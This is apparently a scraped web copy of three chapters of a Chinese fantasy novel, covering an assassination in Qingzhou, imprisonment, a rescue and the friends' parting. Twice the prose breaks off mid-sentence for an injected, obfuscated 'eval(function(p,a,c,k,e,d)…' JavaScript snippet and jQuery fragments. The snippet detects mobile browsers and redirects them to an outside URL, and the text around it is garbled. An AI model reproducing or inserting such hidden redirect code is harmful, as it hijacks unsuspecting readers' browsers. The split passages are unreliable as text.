可公子哥却没有像其他男人那样被她的笑容迷惑,也没有露出失望或恼怒的表情,他只是静静地看着她,嘴角挂着一丝若有若无的微笑。 “帮我杀了单不群。” 娇娇脸色一白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595793|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀了单不群?这个人在说什么疯话?放眼整个清州城,谁不知道单不群有可能会成为下一任城主?谁敢动他一根汗毛?这个公子哥的要求,未免太异想天开了。 公子哥将她那轻蔑的眼神尽收眼底,非但没有生气,嘴角反而微微一勾,露出一个更加从容的笑容。 只见他将手中的折扇合拢,“在下乃清州云氏,云逍。” 这个名字,娇娇听过。 清州云氏,清州城数一数二的世家大族。 而云逍,是云氏族长最疼爱的小儿子,据说从小就被寄予厚望,将来是要继承家业的。 接下来,云逍将扇子轻轻地塞进娇娇手中,说:“你帮我杀了单不群后,只管拿着这把扇子去云氏府上,将其交给云氏族长,从此以后,你便不再是花月楼花魁,红尘万里,海阔天空,你可以远走高飞,选择你喜欢的方式,过完这一生。” 娇娇:……! 云逍在她震惊又满含期待的目光中,微微一顿,问:“这么值当的一笔交易,你当真不愿意试试?” 确认单不群彻底断了气之后,娇娇深吸一口气,站起身来,手忙脚乱地将单不群身上值钱的物件搜刮了个干净。 然后,她将扇子小心翼翼地护在怀里,用外衫的衣襟遮住,确认没有人注意到她之后,来到二楼,推开窗户,探头往外看了一眼。 窗外是一条窄巷,黑黢黢的,一个人也没有。 娇娇翻过窗台,双手扒着窗沿,身体悬在半空中,脚尖在墙上摸索了一会儿,终于找到了一个可以落脚的地方。 她深吸一口气,松开了手,“咚”地一声落在了地上。 脚踝传来一阵刺痛,但她顾不上那么多了,扶着墙站起来,拐进巷子深处,直往清州云氏云府奔去。 · “砰” 一声巨响,房门被人一脚踹开! 景泽、江染、蔡乔、云逍四人快步入内,烛火映照之下,床榻上尸身横陈,满地猩红刺目。 蔡乔目光触及单不群的尸体,积压多年的血海深仇瞬间冲破心神,浑身剧烈震颤,恨意滔天。 景泽抬手轻轻拍了拍她的肩头,默然递过一柄锋利匕首。 “去吧,为你兄长、嫂嫂,讨回公道。” 蔡乔双眼瞬间通红,泪水翻涌,她颤手接过匕首,一步步走向床前,高高扬起手臂,朝着身下恶人尸首,狠狠刺落! 利刃入肉之声噗噗不绝,猩红鲜血肆意飞溅,染透层层床帐。 江染立在景泽身侧,静静望着眼前一幕,唇角缓缓漾开一抹浅淡笑意。 景泽侧目见了,疑惑道:“你笑什么?” 江染:“你笑什么,我便笑什么。” 景泽望着满地血污,心头一块大石轰然落地,道:“我笑我们终于把单不群杀了。” 江染恍然大悟地“哦”了一声,淡淡道:“当真凑巧,我笑的,也是此事。” 房中血腥气浓重呛人,令人心神压抑。 云逍不愿久观这般惨烈景象,移步至窗前,抬手推开轩窗。 晚风穿堂而入,携着满城烟火夜色,缓缓吹散屋中浓郁血腥。 夜色清朗,街巷安宁,一派太平景致,谁也不知方才楼中藏着一场惊天刺杀、血海了结。 正当他凭窗远眺、心绪微松之际,眼角余光骤然瞥见远处动静,脸色瞬间煞白! 只见长街四方,铁甲森森,灯火通明。 无数城兵持刃执戈,列队奔涌而来,层层合围,转瞬便将整座花月楼团团困死,水泄不通! 事态骤变,危机迫在眉睫! 云逍心头一紧,仓促转身,急声低喝:“不好!城兵来了!快跑!” 44. 牢狱 一切发生得太过突然,翻窗逃走已是不可能了。 正当四人六神无主、脑子里一片空白之际,七八个城兵已经提着明晃晃的长刀冲了进来。 “都别动!你们已经没有退路了!还不快束手就擒!” 为首那城兵扯着粗粝的嗓子吼道,手中刀尖直指四人,身后的城兵也迅速散开,堵住了所有的退路。 空气瞬间变得剑拔弩张,景泽咬紧牙关,目光死死盯着眼前那些人,手心慢慢收紧。她在心里飞速盘算着,若她现在召出长弓,拼死一搏,凭她的箭术,未必不能杀出一条血路。 可是,她余光扫过身后的江染、蔡乔、云逍,不行,她不能丢下他们。 景泽喉咙滚动了一下,强迫自己压下那股几乎要喷薄而出的杀意。 四人警惕地盯着闯进屋内的城兵,谁都没有轻举妄动。 紧接着,这些城兵训练有素地向两侧分开,整齐地站成两排,恭敬地垂下头去。 视线尽头,一个男人的身影缓缓走了进来。 只见那男人步伐慵懒从容,手里缓缓摇着一把由羽毛制成的扇子,身后还跟了三四个妖娆婀娜的美婢,个个生得面若桃花。 进来后,那些美婢骤然闻到屋子里的血腥味,纷纷蹙起眉头,用锦帕掩住了口鼻,眼中流露出毫不掩饰的嫌恶之色。 四人同时心头一跳,来的人不是别人,正是清洲城六扇门门主,冷千崖。 冷千崖的视线从床上那具血淋淋的尸体上缓缓收回,脸上那副慵懒神态在一瞬间凝固,取而代之的是一片阴沉铁青。 “本官还真是小瞧了你们,你们知道那床上躺的人是谁么?你们知道自己方才杀了谁么?” 景泽迎上他的目光,毫不退缩,“他是谁重要么?杀人偿命,天经地义!门主大人要是连最基本的是非观念都没有,不如趁早从这个位置上下来,让给有能力的人坐!” 话音方落,冷千崖身后的一个美婢已经一步上前,扬起手掌,“啪”一声脆响,重重扇在了景泽脸上。 那美婢叉着腰,美目圆睁,声音又尖又细:“真是个不知天高地厚的贱人!你竟敢对门主大人这样说话!看奴家不好好替门主大人教训你!” 景泽脸上火辣辣地疼,眼看那美婢再次抬手,眸中寒光一闪,反手就是一个更加响亮的巴掌甩了过去,“啪”的一声比方才还要清脆三分。 那美婢被打得一个趔趄,还没反应过来,景泽已经顺势抓住她的手腕,用力一折。 “啊啊啊!”那美婢登时花容失色,疼得尖叫起来,眼泪哗地就下来了。 “大人!大人快救救奴家啊!奴家好疼!” 冷千崖微微眯起了眼,他倒是没看出来,眼前这个看上去不过十五六岁的少女,竟然有两下子。 他抬了抬下巴,身后的两个城兵立刻冲上前去,一左一右将景泽制住,把那美婢从她手中救了下来。 美婢捂着自己红肿的脸和隐隐作痛的手腕,缩到冷千崖身后,再也不敢多嘴了。 云逍跳起来,指着冷千崖的鼻子破口大骂:“你这个狗官!你赶紧把你的人给我撤了!你知道我爹是谁么!你信不信我让我爹团结全城贵族,把你从这门主的位置上拉下来!” 冷千崖却对云逍的话置若罔闻,甚至懒得再多说一句,他面无表情地打了个手势,淡淡吩咐手下:“把他们四个给本官带回去。” 紧接着,城兵们如狼似虎地扑上来,将四人五花大绑,推搡着押出了屋子。 · 回到六扇门,冷千崖是演都不演了,直接掠过审问环节,让人将他们关进了阴暗潮湿的大牢里面。 大牢位于六扇门地下深处,常年不见阳光,空气中弥漫着一股霉烂的腐臭味。墙壁上渗着水珠,脚下的石板路湿滑泥泞,时不时有老鼠从角落里窜过,发出窸窸窣窣的声响。 狱卒推开一扇沉重的铁门,将他们四人推了进去。 铁门在身后“哐当”一声关上,锁链哗啦啦地绞紧,随后便是一片令人窒息的寂静。 这些天来,大家东奔西跑,几乎没有好好休息过。 现下被关在这暗无天日的大牢里,一直紧绷到快要断裂的神经,竟然不约而同地松弛了下来。 四个人各自找了块相对干燥的地方坐下,脸上都露出了掩不住的疲惫之色。 江染盘腿打坐,闭目养神,视万物为无物。 蔡乔大仇得报,心里那块石头终于落了地。只见她单手枕着后脑勺,躺在草堆上,双目定定地盯着空气中漂浮的尘埃,不知想到了什么,嘴角缓缓浮起一抹淡淡的笑。 云逍从被推进牢房的那一刻起就没停过嘴,他骂天骂地骂冷千崖,骂完冷千崖又骂那些城兵,骂完城兵又骂这间牢房,骂完牢房又开始诅咒整个六扇门。 景泽坐在地上,背靠栏杆,经常死里逃生的她,在面对牢狱之灾时,心情异常平静,她甚至还有闲心听远处的狱卒聊天: “这几个毛头小子,年纪不怎么大,胆子是真的肥啊,竟然把单不群给杀了!” “谁说不是呢,单不群那是什么人?谁敢惹啊!杀了单不群,他们这下是碰到钉子了。” “对了,门主怎么说?打算怎么处置他们?” “暂时还没听说,不过,这事儿闹得这么大,门主肯定得上报城主,等城主决断。只是这城主嘛……是全城出了名的好人,可同时私下里也是出了名的疼爱这单不群。究竟会不会杀了他们,这事儿还真难说,毕竟单不群之前干的那些坏事那么多,要是贸然杀了他们四个,失了民心可咋整?” “民心?快别开玩笑了。” 另一个狱卒冷笑一声,“这世道都乱成这样了,你看上头的人有谁在意过民心?快醒一醒吧,城主这个位置是世袭制,不是选举制!能坐上那个位置的人,都不简单!人家拿民心装装样子,说几句好听的话,你还真信了?可真逗!” “喂!你们瞎担心什么?” 又一个声音插了进来,压得低了些,“单不群干的那些坏事,究竟有没有传到城主耳朵里,都还不一定呢。万一城主压根儿不知道单不群干的那些事儿,你们觉得,城主会放过他们?听说那单不群,可是城主最看重的义子!那感情深着呢!” …… 那些狱卒聊着聊着,声音越来越小,到最后只剩下一片模糊的窃窃私语。 景泽被关在这大牢里,本就枯燥无味,正靠着狱卒们聊天打发时间,也不知怎么了,那些狱卒忽然就不聊了。 真没意思,景泽默默打了个哈欠,正当她眼皮越来越沉,快要合上的时候,她忽然看到地上投下一道阴影。 景泽心头猛地一颤,霍然回头,只见那铁栏之外,不知何时已经站着一个男人。 那男人身形高大,即便隔着铁栏也能感受到他身量的压迫感。可他的容貌却与高大的身形极不相称,苍老、枯槁、病态,脸上布满了岁月的沟壑,眼窝深深凹陷下去,颧骨高高突起。 这个男人的突然到访,让牢内的四个人同时警觉了起来。 江染睁开了眼睛,蔡乔从草堆上坐了起来,云逍也不骂了,嘴巴半张着,呆呆地看着铁栏外的那个人。 他认出了这个男人,此人是清州城城主,秦清风! 云逍从小没少被他爹带着上城主府,这秦清风可谓是看着他长大的。 记忆中,秦清风一直如民间流传的那样,为人和善,讲义气,说话时总是笑眯眯的,是一个真真正正的大好人! 所以他此刻见了秦清风,就如同溺水之人抓到了最后一根救命稻草,猛地扑上去,拼命将手伸出铁栏,试图抓住些什么,眼泪“唰”地就下来了:“呜呜!秦叔叔!秦叔叔!我是云逍啊!您不认得我了么!您快让六扇门把我们放了吧!我们是被冤枉的!那个单不群他不是好人,他杀了很多人啊秦叔叔!” 云逍哭得声泪俱下,而此刻,站在他们面前的秦清风,却像是完全变了一个人。 他的脸上再也没有往日的半分和善,那双浑浊的眼睛在阴影的覆盖下,阴翳得可怕。 一阵漫长的沉默后,他 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时间仿佛被无限拉长,牢房里安静得能听见烛火跳动的声音,半晌后,秦清风忽然仰头大笑了起来,边笑边剧烈咳嗽,他的确如传闻中那般病得很重,但他依然能清晰表达自己的想法:“哈哈哈!要不是我确定你们是活生生的人,我还以为你们是从什么小儿话本里走出来的虚构人物!当真是幼稚愚蠢至极!罢了!反正你们也要死了,告诉你们也无妨!” 他盯着四人的眼睛,嘴角缓缓勾起一个扭曲的弧度:“单不群哪里是什么‘义子’,明确地告诉你们!他是我儿!我秦清风的儿子!身上跟我流着一样血的亲生儿子!” 秦清风此话一出,所有人都惊呆了。 江染的瞳孔微缩,蔡乔猛地抬起头,云逍张大了嘴巴,景泽的脑子里“嗡”的一声,像是被人当头敲了一棒。 他们怎么都没想到,单不群竟然会是秦清风的亲生儿子! 既然是亲生儿子,为什么又要对外说是义子呢?而且,既然是亲生儿子,下一任城主之位百分之百会落到单不群手里,这样顺遂的人生,他吃饱了撑的去帮着血影楼作死啊! 这可真是离谱他妈给离谱开门,离谱到家了! 秦清风将他们脸上的震惊与困惑尽收眼底,露出一个近乎狰狞的笑容: “想不通?想不通就对了,你们这些乳臭未干的毛孩子,以为自己替天行道了?以为自己为民除害了?哈哈哈哈!可笑!可悲!” 他的声音陡然拔高,带着一种近乎癫狂的愤怒:“你们杀了我唯一的儿子,还指望我会放过你们?真是太可笑了!” “是,我是拥有极好的名声,但那又怎样?那都是虚的!作为一个父亲,这些都是虚的!你们知道什么叫父亲吗?你们知道一个父亲看着自己儿子长大是什么感觉吗?你们知道一个父亲眼睁睁看着自己儿子被人杀死是什么滋味吗?!” 他的声音颤抖起来,不知是愤怒还是悲伤,又或者两者兼有:“我比任何人都爱我的儿子,他做的那些事,我都可以睁一只眼,闭一只眼。对于这一点,你们没有当过父母,你们是理解不了的。” “你们真是天真得愚蠢,究竟是什么东西让你们产生了,我可以为了世人心中的完美形象,去放过杀害我儿子的仇人?” “我今天之所以出现在这里,就是想记住仇人的样子。明天天一亮,我会将你们通通五马分尸!我还会在杀了你们之后,杀光任何一个跟你们长得相似之人,让你们所有人给我儿子陪葬哈哈哈哈哈哈哈!” 刺耳疯狂的笑声在牢房里回荡,秦清风越说越激动,到了最后,胸腔里那股积压已久的病气终于压不住了,他猛地弯下腰,剧烈咳嗽起来,“噗”地喷出一口鲜血。 所有人久久说不出话来,牢房里陷入了一片死寂。 不知过了多久,外面一道声音打破了这令人窒息的沉默:“城主!夫人见到处找不到您,到六扇门来寻您了!现在外面候着呢,您还在里面吗!” 这秦清风与夫人之间的恩爱,可谓是一段上好的佳话,从秦清风的表现来看,这段佳话确实不假。 听到“夫人”两个字,秦清风忙从袖中掏出帕子,擦干净脸上血迹,将自己调整到最好的状态后,回头丢给他们一记极其狠戾的眼神,而后阔步走了出去。 他对外面缓声道:“告诉夫人,我这就来。” 45. 奔逃 待秦清风的身影彻底消失在牢道尽头,幽暗死寂的大牢里,气氛瞬间跌至谷底。 云逍瞬间没了方才强撑的镇定,整个人慌了神,在狭小的囚牢里焦躁地来回踱步,“完了完了完了,彻底完了!这次我们必死无疑!他绝对不会替我传信给我爹了!” 与他的狂躁截然不同,江染始终盘腿端坐,闭目调息,周身透着一股超然出世的沉静。 他淡淡出声安抚众人道:“生死有命,祸福天定。秦清风若执意要取我们性命,那是我们的命数到了,诸位不必太过惶恐。” 角落的蔡乔蹲坐在地面上,指尖死死攥着一根干枯的杂草,一下下无意识地在地上画着凌乱的圆圈。 “是我连累了你们,若当初不是为了帮我,你们根本不会被关进来,落得这般境地。” 景泽见状,缓步上前,伸手轻轻拍了拍她颤抖的肩膀:“别胡思乱想,这从来不是你的过错,那单不群作恶多端,本就死有余辜,就算我们没有遇见你,换做旁人遇难,我们依旧会挺身而出,义无反顾。” 蔡乔抬起湿漉漉的眼眸,怔怔望着她:“为什么?” 为什么明明知道结果不会如意,还要义无反顾、勇往直前? 话音未落,一旁焦躁踱步的云逍骤然驻足,猛地回头,眉眼一扫往日的纨绔散漫,凛然坦荡道:“因为人不轻狂,枉少年!” 他说出这句话时,脸上还同时搭配了那种“人间正道”的表情,或许是很少从他脸上看到这种正经表情,其余三个人立马被他逗笑了。 笑了一阵后,紧绷的气氛就此松动,大牢里凝滞的压抑感散去大半。 夜色沉沉落下,连日奔波受惊,四人身心俱疲,不多时便抵不住困意,纷纷闭目沉睡,均匀绵长的呼吸声在寂静的牢中此起彼伏。 景泽睡得安稳,朦胧间只觉鼻尖一阵细碎发痒,她忍不住抬手挠了挠,继续睡觉。 可那股痒意并未散去,片刻后再度袭来,扰得人心神不宁。 于是她蹙起眉头,再次抬手挠了挠鼻尖,下意识将脸往手肘深处埋了埋。 鼻尖终于不痒了,可是耳朵继续痒了起来,景泽蹙了蹙眉头,喃喃道:“别闹……江染……” 昏暗的光影里,一道修长身影正俯身蹲在她身前。 来人指尖捏着一根雪白鹅毛,听见她口中无意识唤出的名字,眸底掠过一抹错愕,转瞬便被一层极淡的沉郁愠色覆盖。 他收回鹅毛,俯身凑近:“你睁开眼,看清楚我是谁。” 清冷熟悉的嗓音骤然入耳,景泽浑身一震,睡意尽数褪去,豁然睁开双眼。 看清眼前那张亦正亦妖的面容时,眼底的惊喜骤然翻涌而出,几乎要满溢出来。 她猛地坐直身子,强压着心底的悸动:“清隽!你怎么会在这里?” 话音落下,她下意识转头望去,只见原本紧锁的牢门赫然敞开,夜风顺着门缝悄悄灌入,带着城外微凉的气息。 他竟是这般堂而皇之地踏入了重兵看守的大牢之中!不愧是修为顶级的高手! 清隽食指轻抵薄唇,做了个噤声的手势,目光轻扫过身侧熟睡的江染、云逍与蔡乔,示意她切莫出声惊扰旁人。 景泽立刻会意,连忙放轻所有动作,凑近半寸,用气音问道:“你是来救我们的吗?” 许是她声音太过细微,混杂在夜风里模糊不清,清隽微蹙眉心,显然未曾听清。 景泽见状,干脆抬手轻轻拉住他的衣袖,微微用力将人拉近,双手拢在唇边,凑到他耳畔:“我说,你是来救我们的么?” 灼热细腻的呼吸贴耳而来,染红了他的耳垂,黑暗中,清隽挺拔的身形几不可察地一僵,周身清冷疏离的气场悄然松动。 他并未抗拒她这种逾越距离的亲昵,微微侧首,澄澈好看的眼眸里,恰到好处地凝着一丝懵懂茫然:“你刚刚说什么,我没听清,能否再说一遍?” 景泽以为他真的没听清,再次凑近他耳畔,放慢语速,一字一顿,清晰无比地重复:“我、说、你、是、来、救、我、们、的、么?” 清隽缓缓点头,似是恍然大悟,下一瞬,他骤然伸手,轻轻一带。景泽重心骤失,身子往前一倾,直直跪在他身前,手掌下意识撑在了他的膝上。 两人距离近在咫尺,呼吸交缠。 清隽的嗓音裹挟着夜色的微凉,又带着一丝温润的鼻音,低低萦绕在她耳畔,撩得人心尖发痒:“才不是,你猜错了。” 景泽心头一颤,下意识抬眸望他,喉间轻轻滚动。 这样近的距离,使得她视线不受控制地落在他色泽清浅的薄唇上。 刹那间,景泽脑海一片空白,心底的悸动不受压制地蔓延,她鬼迷心窍地微微前倾身子,生出了想要触碰他唇瓣的念头。 亲一下,应该没事吧?就在她动作微倾的瞬间,清隽的声音再度响起,温柔又郑重:“我此番前来,并不是救‘你们’,我是专程来救‘你’的。” “其余人,不过顺带而已,懂了?” 景泽前倾的身形骤然僵住,心头一阵发烫,方才纷乱的思绪尽数被这句话抚平,又掀起一阵密密麻麻的悸动。 不等她回过神,清隽掌心骤然腾起一小簇暖黄色的明火,瞬间照亮了这方寸囚牢。 光线变亮,她也不好接着干坏事,于是她连忙后退,不动声色地拉开些距离,故作镇定地转移话题:“这是什么?” 掌心明火流转,渐渐凝聚成一道纹路清晰的黄色符咒,静静悬浮在他指尖。 清隽道:“隐身符,持此符可隐匿身形,避开所有探查,助你们逃出大牢。” 景泽心头大喜,连忙伸手接过符咒,眉眼盛满真切的谢意: “太谢谢你了,清隽!” 清隽唇角勾起一抹浅淡笑意,轻声叮嘱: “趁着天未破晓,无人设防,快动身离开吧。” “好!” 景泽应声点头,立刻转身叫醒身旁熟睡的三人。 她挨个推醒江染、云逍与蔡乔,低声催促:“快醒醒,别睡了!我们有机会逃出去了!” 江染骤然睁眼,神色紧绷,下意识问道:“是秦清风带人过来杀我们了?” “不是!是清隽……” 景泽急于将获救的喜讯告知众人,转头的瞬间,话音却骤然卡住。 方才还立在牢中、眉眼温柔的清隽,已然消失得无影无踪。 · 四人来不及细究缘由,不敢耽搁半分,握紧手中的隐身符,借着夜色掩护,悄无声息地避开层层狱卒,顺利逃出了守备森严的大牢。 彼时天还没亮,整座清州城笼罩在朦胧晨雾之中,万籁俱寂,静谧无声。 四人不敢停留,一路疾行,足足赶了五个时辰的路,中途滴水未进、粒米未沾,直至彻底踏出清州城地界,远离秦清风的管辖范围,才算彻底卸下心头重担,堪堪安全。 行至城外一处向阳山坡,只见坡下成片爱媛树硕果累累,橙黄饱满的果子缀满枝头,果香清甜四溢。 连日奔波的几人早已口干舌燥、疲惫不堪,望着满树鲜果,瞬间再也迈不动脚步,纷纷驻足。 江染望着枝头鲜果,率先开口提议:“正好口渴难耐,摘几个果子解渴吧。” 蔡乔连连点头附和:“我看可行。” 云逍望着诱人的果实,眼底满是艳羡,喉结不住滚动,却又碍于自幼熟读圣贤书,恪守礼法,一时间进退两难,迟疑着开口: “这片果林不似野生野长,应是有人栽种,我们擅自摘取,算不算偷盗?” 景泽用莫名其妙的眼神看云逍,挑眉道:“你小命都快没了,你还在乎偷盗?” 云逍小脸一红,挺了挺胸膛,理直气壮道:“那是自然!我可是个读书人,圣贤书读了十几年,这方面自然是要注重的!” 江染懒得与他多费口舌,直接迈步走入果林,抬手利落摘下三颗圆润饱满的爱媛,随手分别抛给景泽、蔡乔,自己留了一颗,低头剥皮享用起来。 三人坐在树下,肆意享用清甜多汁的果子,唯独云逍立在一旁,眼睁睁看着,馋得望眼欲穿,却硬撑着不肯动手。 片刻后,他终于忍不住愤愤开口:“江染!你故意的!为何偏偏不给我摘?!你这是带头孤立我!” 江染抬眸瞥他一眼,声音里透着几分戏谑调侃:“你既恪守君子之道,不屑偷盗,我便不摘果子辱没你的清风傲骨,成全你的君子之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601512|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风。” 蔡乔听得忍俊不禁,低头掩去笑意。 云逍气得脸红脖子粗,指着江染“你你你”了半天,憋出一句:“我那只是说说,说说而已!你怎么还当真了呢!” “……” 景泽见他一脸窘迫的模样,心生笑意,起身抬手摘下一颗熟透的爱媛,精准抛到他怀中:“这下如愿了?吃吧。” 云逍瞬间喜上眉梢,所有别扭一扫而空,屁颠屁颠凑到景泽身侧坐下,得意洋洋地看向江染:“看见没!还是我阿泽妹妹最贴心!” 江染嗤了一声,懒得搭理他的幼稚模样。 四人吃完果子,倦意翻涌,干脆躺在松软的草地上稍作歇息。 微风拂过枝叶,沙沙作响,静谧安宁。 就在众人闭目休憩之际,远处忽然传来一阵清晰的动静,车轮碾压泥土的轱辘声由远及近,声势不小。 江染瞬间警醒,猛地翻身起身,压低声音提醒众人:“有人来了!” 蔡乔心头一紧,慌忙起身:“会不会是清州城的追兵追来了?” 景泽神色镇定:“隐身符可隐匿行踪,不会留下任何痕迹,城兵就算要追查,也绝不可能这般快找到此处。” 江染急道:“先别管是不是城兵了,先躲起来吧!” 就在众人准备起身隐匿之时,一直眺望来路的云逍忽然抬手,淡淡出声:“不必躲了。” 他目光落在缓缓驶来的马车上,神色渐渐微妙:“是熟人。” 马车稳步驶来,形制华贵,车帘之上,一个鎏金的“云”字赫然醒目,气派不凡。 马车稳稳停落,车帘被骤然掀开,一名容貌秀丽、身姿温婉的青衣侍女匆匆下车,快步朝着云逍走来,眼底满是焦灼与欣喜,声音带着哽咽:“公子!奴婢总算找到您了!老爷夫人日夜牵挂、忧心忡忡,派人四处搜寻,几乎寻遍千里之地!您可算平安!” 云逍眉宇间满是烦躁,蹙着眉问道:“你们怎么找到这里的?” 那貌美女子擦了擦眼角,满脸哀愁,说:“此事说来话长,前些日子,有个姑娘拿着公子的信物找到了府上,见了老爷,把一切都告诉了老爷。老爷听后大为震怒,又心疼得不行,当即派出了大量人马四处搜寻您的下落。我也是凑巧,奉命往这条路上找,没想到真让我找着了!” 她说着又要哭,吸了吸鼻子,上前拉住云逍的袖子:“公子!快跟我回府吧!外面太危险了!您回去,老爷自有法子保护您,那秦清风就算有天大的胆子,也不敢动您一根汗毛!” 这名侍女是自小伺候云逍的贴身下人,忠心耿耿。 云逍闻言,下意识侧首看了看身侧的景泽三人,收回目光,拒绝道:“你自己走吧!回去告诉他们,我在外面活得很好,不用他们操心,也用不着他们保护我。” 侍女见他心意决绝,丝毫没有回转的余地,脸上的恳切渐渐褪去,微微拱手,沉声道:“公子既不肯归府,那奴婢,便只能得罪了。” 话音未落,两道劲装壮汉骤然从马车中跃出,身手利落,不等众人反应,便上前稳稳制住云逍,粗绳翻飞,瞬息间便将他牢牢捆绑。不过眨眼功夫,云逍便被二人押至马车之上。 变故突生,快得让人猝不及防。 “放肆!你们敢绑我!” 云逍又气又急,奋力挣扎,朝着外面景泽的方向高声呼喊:“阿泽妹妹!江染!蔡乔!你们快救我!放开我!你们可知我身份!竟敢对我无礼!” 押着他的壮汉面色恭敬,却丝毫不松力道,回道:“公子恕罪,我等只是谨遵老爷夫人之命,不敢违逆。” 景泽与江染、蔡乔对视一眼,几人虽有心上前阻拦,可心中都很明白,云府势力庞大,此番来人只为护他周全。路途凶险,稍不注意就容易丢命,回归云府,于云逍而言,才是最安稳稳妥的。 一念至此,三人终究生生按捺住上前的念头,默然驻足,未曾阻拦。 侍女见云逍不再挣扎,转头看向他们三人,郑重躬身一礼,真诚恳切道:“多谢诸位公子姑娘多日照拂我家公子,青山不改,绿水长流,今日一别,后会有期。” 景泽、江染、蔡乔三人微微颔首,同样拱手回礼:“后会有期。” 46. 寒烬山(一) 华贵的云府马车调转方向,扬尘而去,渐渐消失在山路尽头。 景泽立在原地,喃喃自语:“来日,应该还能再见吧?” 蔡乔站在她身侧,眼眶也有些发红,却强撑着笑容道:“肯定能!清州城又不远,我们日后要是想他了,可以直接去清州城找他!” 话虽这么说,但他们心里都很清楚,清州城如今风波迭起,危险重重,以她们现在的身份和处境,已经不是想去就能去了。 一旁江染默然伫立,始终未发一言。 他双眉微蹙,素来带着几分散漫戏谑的眸子,此刻晦暗难辨,不知藏着何等心思。 半晌,蔡乔深吸一口气,压下心头离绪,正色问道:“我们接下来,去往何处?” 景泽暂时还没想好他们接下来的去处,抬眸眺望了一下远方,西天残阳垂落,暮云浸染紫灰,她叹了口气:“先走着看吧,走着走着,我们就知道应该去哪里了。” 蔡乔点了点头,表示同意。 正当她们启程出发,刚走了两步,景泽忽然觉得身后似乎少了点什么,那种空落落的感觉让她下意识地回过头去。 却见江染仍站在原地,没有跟上来。 晚风穿林,拂动他衣袂翩飞,暮色将他清瘦身影勾勒得孤挺又单薄。 景泽扬声唤道:“喂!江染!你愣着干什么!还不快跟上来!” 江染抬眸望来,那双往日里总是玩世不恭、嬉笑不羁的眼睛里,此刻褪去了所有轻佻,只剩一片澄澈认真。 半晌后,他唇角缓缓扬起一抹淡然笑意,扬声回道:“景泽!蔡乔!你们走吧!接下来的路,我就不跟你们同行了!” 景泽脑子里嗡的一声,差点没反应过来,她瞪大眼睛,声音不自觉地拔高了几度:“你说什么?你一个人多危险啊!快跟上来!我们一起走,互相也有个照应!” 蔡乔也跟着急道:“是啊!江染!跟我们一起走吧!这世道不太平,一个人走太危险了!” 江染难得地没有跟她们拌嘴互损,他只是静静地站在晚风当中,朝她们摆了摆手,眼角眉梢都是温柔的笑意:“我刚刚说,接下来的路,我想自己走,去过自己想要的人生!景泽!答应帮你抓凶手这件事,我已经做到了,天下无不散之宴席,江湖路远,聚散皆是随缘,我是时候离开了!” 明明没有起风,景泽却被什么东西迷了眼睛,眼底迅速漫上一层水雾,视线变得模糊起来。 她了解江染的,江染既然说想自己一个人走,她是无论如何也留不住他的。 毕竟他从小就是个特立独行、很有自己想法的人,表面上一副吊儿郎当的模样,骨子里却比谁都固执,一旦他做了决定,十头牛都拉不回来。 林间风声簌簌,时光似是缓缓凝滞,每一寸光阴都压得人心头发沉。 景泽喉头滚动了一下,终是咬牙点了点头,勉力撑起一抹浅笑,朝江染挥手告别:“我们终将会再见的吧?江染!” 江染闻言,洒脱坦荡道:“猪啊你!景泽!裂陆六城就这么大,我不是在这个城,就是在那个城,只要咱们都没死,肯定能再见的!” 他顿了顿,目光转向蔡乔,喊道:“蔡乔!帮我照顾好景泽,下次见面,我希望她能胖一点,多长点肉,那样才像真正的‘月宫仙子’!瘦得跟竹竿似的,哪有一点仙子的样子!” 蔡乔眼眶通红,鼻尖发酸,带着浓重鼻音重重点头:“我必定好好照看她!江染,你一路珍重,后会有期!” 景泽闻言,眼底最后一丝强撑的从容彻底崩裂,热泪在眸中盈盈打转,几欲滚落,却被她死死忍住。 她不想留给江染最后的印象是哭哭啼啼、难舍难分的模样,下次再见面,他肯定要拿这个笑话她,说不定还要学她哭的样子,把她气得跳脚。 江染再一次将手举过头顶,朝她们用力地挥了挥,笑着喊道:“你们也多保重!江湖路远,来日再会!” 说完,江染转过身去,步履洒脱决绝,朝着与二人相反的方向大步而去。 不过片刻,挺拔身影便没入林深暮色,消散于苍茫天地之间。 · 茶馆里的说书人说,逸归尘最后消失的地方在寒烬山。 景泽和蔡乔两人一合计,决定朝着北方一路行进。 二人一路跋山涉水,风餐露宿,历经一月风霜颠簸,终是抵达寒烬山麓。 此山乃是活火山,地心岩浆奔涌不息,沉沉地壳之下,暗藏万丈炽火,山麓之间隐隐透着灼人暖意。可山势越高,寒意越盛,峰顶终年冰雪覆顶,朔风呼啸,寒彻骨髓,冷热两极相悖,乃是天地间至奇至险之地。 未至山腰,凛冽北风已然如刀割面。 二人衣衫单薄,抵不住极北严寒,连连喷嚏不止,耳鼻冻得通红,呼吸吐纳皆化作袅袅白雾。 她们是临时决定来的,路上并没有携带过多的盘缠,买完干粮和水囊之后,手里的银子所剩无几,自然也买不起抵御风寒的厚棉衣。 夜色愈来愈浓,气温也越来越低,天边最后一抹光被黑暗吞噬,四周除了风声,便是远处偶尔传来的野兽低嚎,让人心里发毛。 她们再继续在这冷风中待下去,保不准会有性命之忧,两人咬了咬牙,决定去路边的驿站歇歇脚。 